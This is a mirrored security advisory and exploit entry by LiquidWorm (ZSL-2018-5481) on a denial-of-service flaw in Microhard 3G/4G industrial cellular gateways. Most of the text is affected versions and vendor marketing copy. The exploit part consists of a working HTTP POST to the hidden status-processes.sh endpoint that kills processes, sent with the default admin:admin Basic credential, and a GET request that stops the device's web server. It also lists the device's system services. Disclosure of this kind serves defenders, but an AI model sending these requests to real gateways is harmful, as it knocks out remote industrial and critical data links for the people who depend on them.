Microhard Systems 3G/4G Cellular Ethernet and Serial Gateway – Denial of Service

  • 作者: LiquidWorm
    日期: 2018-07-17
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/45035/
  • Microhard Systems 3G/4G Cellular Ethernet and Serial Gateway Service Control DoS
    
    
    Vendor: Microhard Systems Inc.
    Product web page: http://www.microhardcorp.com
    Affected version: IPn4G 1.1.0 build 1098
    IPn3Gb 2.2.0 build 2160
    IPn4Gb 1.1.6 build 1184-14
    IPn4Gb 1.1.0 Rev 2 build 1090-2
    IPn4Gb 1.1.0 Rev 2 build 1086
    Bullet-3G 1.2.0 Rev A build 1032
    VIP4Gb 1.1.6 build 1204
    VIP4G 1.1.6 Rev 3.0 build 1184-14
    VIP4G-WiFi-N 1.1.6 Rev 2.0.0 build 1196
    IPn3Gii / Bullet-3G 1.2.0 build 1076
    IPn4Gii / Bullet-LTE 1.2.0 build 1078
    BulletPlus 1.3.0 build 1036
    Dragon-LTE 1.1.0 build 1036
    
    Summary: The new IPn4Gb provides a rugged, industrial strength wireless solution
    using the new and ultra fast 4G LTE cellular network infrastructure. The IPn4Gb
    features integrated Firewall, IPSec / VPN & GRE Tunneling, IP/MAC Access Control
    Lists. The IPn4Gb can transport critical data to and from SMS, Ethernet and Serial
    RS232/485/422 devices!
    
    The IPn3Gb provides a fast, secure industrial strength wireless solution that uses
    the widespread deployment of cellular network infrastructure for critical data collection.
    From remote meters and sensors, to providing mobile network access, the IPn3Gb delivers!
    The IPn3Gb is a powerful HSPA+ and Quad Band GSM device compatible almost anywhere. It
    provides robust and secure wireless communication of Serial, USB and Ethernet data.
    
    The all new Bullet-3G provides a compact, robust, feature packed industrial strength
    wireless solution using fast 3G/HSPA+ network infrastructure. The Bullet-3G takes things
    to the next level by providing features such as Ethernet with PoE, RS232 Serial port
    and 2x Programmable I/O. Offering enhanced, 'Secure Communication' with its integrated
    Firewall, IPSec VPN Tunneling, IP/MAC Access Control Lists, the Bullet-3G is a solution
    worth looking at!
    
    The all new Dragon-LTE provides a feature packed, compact OEM, industrial strength
    wireless IoT & M2M solution. Connect any device, wired or wireless, and provide remote
    cellular access using the Dragon-LTE. The Dragon-LTE features a OEM design for tight
    system integration and design flexibility with dual Ethernet Ports and high power
    802.11b/g/n WIFI. With its integrated Firewall, IPSec VPN Tunneling and IP/MAC Access
    Control Lists, the Dragon-LTE provides a solution for any cellular application!
    
    The new VIP4Gb provides a rugged, industrial strength wireless solution using 4G LTE
    network infrastructure for critical data communications. The VIP4Gb provides simultaneous
    network connections for 802.11a/b/g/n WiFi devices, 4 x 10/100/1000 Ethernet ports, Digital
    I/O, and a RS232/RS485 port, resulting in a communication device that can be deployed in
    any application! The VIP4Gb is a powerful 4G LTE device compatible on any cellular network.
    It provides robust and secure wireless communication of Serial, Ethernet & WiFi data.
    
    Desc: There is an undocumented and hidden feature that allows an authenticated attacker
    to list running processes in the operating system and send arbitrary signals to kill
    any process running in the background including starting and stopping system services.
    This impacts availability and can be triggered also by CSRF attacks that requires device
    restart and/or factory reset to rollback malicious changes.
    
    Tested on: httpd-ssl-1.0.0
     Linux 2.6.32.9 (Bin@DProBuilder) (gcc version 4.4.3)
    
    
    Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
    @zeroscience
    
    
    Advisory ID: ZSL-2018-5481
    Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5481.php
    
    
    13.03.2018
    
    --
    
    
    POST /cgi-bin/webif/status-processes.sh HTTP/1.1
    Host: 192.168.1.1
    Connection: keep-alive
    Content-Length: 34
    Cache-Control: max-age=0
    Authorization: Basic YWRtaW46YWRtaW4=
    Origin: http://166.130.177.150
    Upgrade-Insecure-Requests: 1
    Content-Type: application/x-www-form-urlencoded
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
    Referer: http://192.168.1.1/cgi-bin/webif/status-processes.sh
    Accept-Encoding: gzip, deflate
    Accept-Language: en-US,en;q=0.9
    Cookie: style=null
    
    signal=SIGILL&pid=1337&kill=+Send+
    
    
    ===
    
    
    Available services:
    
    # ls /etc/init.d/
    boot dmesgbackupgpsgatetripsecfwadd mh_product quagga sysctl vlan
    checksyncdnsmasqgpsr keepalivemodbusdrcSsystemmode vnstat
    coova-chilli done gpsrecorderd ledmsmscomd salertdtelnet watchdog
    cron dropbear gred ledcon msshcsdpServertimezone webif
    crontabeurd httpdlocalmonitordnetworksnmpdtwatchdogwebiffirewalllog
    custom-user-startupfirewall ioportslogtrigger ntpclientsoip umount websockserverd
    datausemonitordforce_reboot iperfltentrd soip2updatedd wsClient
    defconfigftpd ipseclteshutdownnxl2tpd-wansoip2.gettyusbxl2tpd
    dhcp_clientgpsd ipsec_vpnmedia_ctrl pimd soipd1 vcad xl2tpd-wan
    
    
    Stop the HTTPd:
    
    GET http://192.168.1.1/cgi-bin/webif/system-services.sh?service=httpd&action=stop HTTP/1.1